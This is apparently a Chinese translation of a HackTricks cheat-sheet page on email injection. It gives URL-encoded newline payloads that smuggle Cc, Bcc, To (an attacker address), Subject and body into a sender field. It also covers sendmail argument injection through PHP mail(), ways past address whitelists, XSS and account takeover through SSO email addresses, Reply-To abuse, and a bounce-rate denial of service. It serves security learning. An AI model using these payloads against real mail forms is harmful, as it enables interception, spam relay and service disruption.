8.2 KiB
电子邮件注入
使用 Trickest 来轻松构建并自动化工作流程,由世界上最先进的社区工具提供支持。 立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
从零开始学习 AWS 黑客技术,成为 htARTE (HackTricks AWS Red Team Expert)!
其他支持 HackTricks 的方式:
- 如果你想在 HackTricks 中看到你的公司广告或下载 HackTricks 的 PDF,请查看订阅计划!
- 获取官方 PEASS & HackTricks 商品
- 发现PEASS 家族,我们独家的NFTs 集合
- 加入 💬 Discord 群组 或 telegram 群组 或在 Twitter 🐦 上关注我 @carlospolopm。
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR 来分享你的黑客技巧。
在发送的电子邮件中注入
在发件人参数后注入 Cc 和 Bcc
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
消息将发送至收件人和recipient1账户。
注入参数
From:sender@domain.com%0ATo:attacker@domain.com
消息将被发送给原始收件人和攻击者账户。
注入主题参数
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
更改消息正文
注入两个换行符,然后编写您的消息以更改消息的正文。
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
PHP mail() 函数利用
# The function has the following definition:
php --rf mail
Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}
第5个参数($additional_parameters)
本节将基于如何在攻击者控制此参数的情况下滥用它。
此参数将被添加到PHP用来调用sendmail二进制文件的命令行中。但是,它将通过函数escapeshellcmd($additional_parameters)
进行清理。
攻击者可以在这种情况下为sendmail注入额外的参数。
/usr/sbin/sendmail实现的差异
sendmail接口是由系统上安装的MTA电子邮件软件(Sendmail、Postfix、Exim等)提供。尽管基本功能(如-t -i -f参数)出于兼容性原因保持不变,其他功能和参数则根据安装的MTA有很大差异。
以下是不同sendmail命令/接口手册页的一些示例:
- Sendmail MTA: http://www.sendmail.org/~ca/email/man/sendmail.html
- Postfix MTA: http://www.postfix.org/mailq.1.html
- Exim MTA: https://linux.die.net/man/8/eximReferences
根据sendmail二进制文件的来源,已经发现了不同的选项来滥用它们并泄露文件甚至执行任意命令。查看方法请访问https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html
在电子邮件名称中注入
被忽略的电子邮件部分
符号:+、- 和 {} 在极少数情况下可用于标记,并被大多数电子邮件服务器忽略
- 例如:john.doe+intigriti@example.com → john.doe@example.com
括号()中的注释在开头或结尾也会被忽略
- 例如:john.doe(intigriti)@example.com → john.doe@example.com
白名单绕过
引号
IP地址
您也可以使用方括号中的IP作为域名:
- john.doe@[127.0.0.1]
- john.doe@[IPv6:2001:db8::1]
其他漏洞
第三方SSO
XSS
一些服务,如github或salesforce允许您创建包含XSS有效载荷的电子邮件地址。如果您可以使用这些提供商登录其他服务,并且这些服务没有正确清理电子邮件,您可能会导致XSS。
账户接管
如果一个SSO服务允许您在不验证给定电子邮件地址的情况下创建账户(如salesforce),然后您可以使用该账户登录不同的服务,该服务信任salesforce,您可以访问任何账户。
请注意,salesforce会指示给定的电子邮件是否已验证,因此应用程序应考虑此信息。
回复至
您可以使用 发件人: company.com 和 回复至: attacker.com 发送电子邮件,如果由于电子邮件是来自一个内部地址而发送了自动回复,攻击者可能能够接收到那个回应。
硬退信率
一些应用程序,如AWS,有一个硬退信率(在AWS中为10%),一旦超载,电子邮件服务将被阻止。
硬退信是由于某些永久原因而无法投递的电子邮件。可能是电子邮件地址是假的,可能是电子邮件域不是一个真实的域,或者可能是电子邮件收件人的服务器不接受电子邮件),这意味着在1000封电子邮件中,如果有100封是假的或无效的导致所有邮件退回,AWS SES将阻止您的服务。
因此,如果您能够发送邮件(可能是邀请)从Web应用程序到任何电子邮件地址,您可以通过向不存在的用户和域发送数百封邀请来引发此阻塞:电子邮件服务DoS。
参考资料
- https://resources.infosecinstitute.com/email-injection/
- https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html
- https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view
- https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0
通过 htARTE (HackTricks AWS Red Team Expert)从零到英雄学习AWS黑客攻击!
支持HackTricks的其他方式:
- 如果您想在HackTricks中看到您的公司广告或下载HackTricks的PDF版本,请查看订阅计划!
- 获取官方PEASS & HackTricks商品
- 发现PEASS家族,我们独家的NFTs系列
- 加入 💬 Discord群组 或 telegram群组 或在Twitter 🐦 上关注我 @carlospolopm。
- 通过向 HackTricks 和 HackTricks Cloud github仓库提交PR来分享您的黑客技巧。
使用 Trickest 轻松构建并自动化工作流程,由世界上最先进的社区工具提供支持。
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}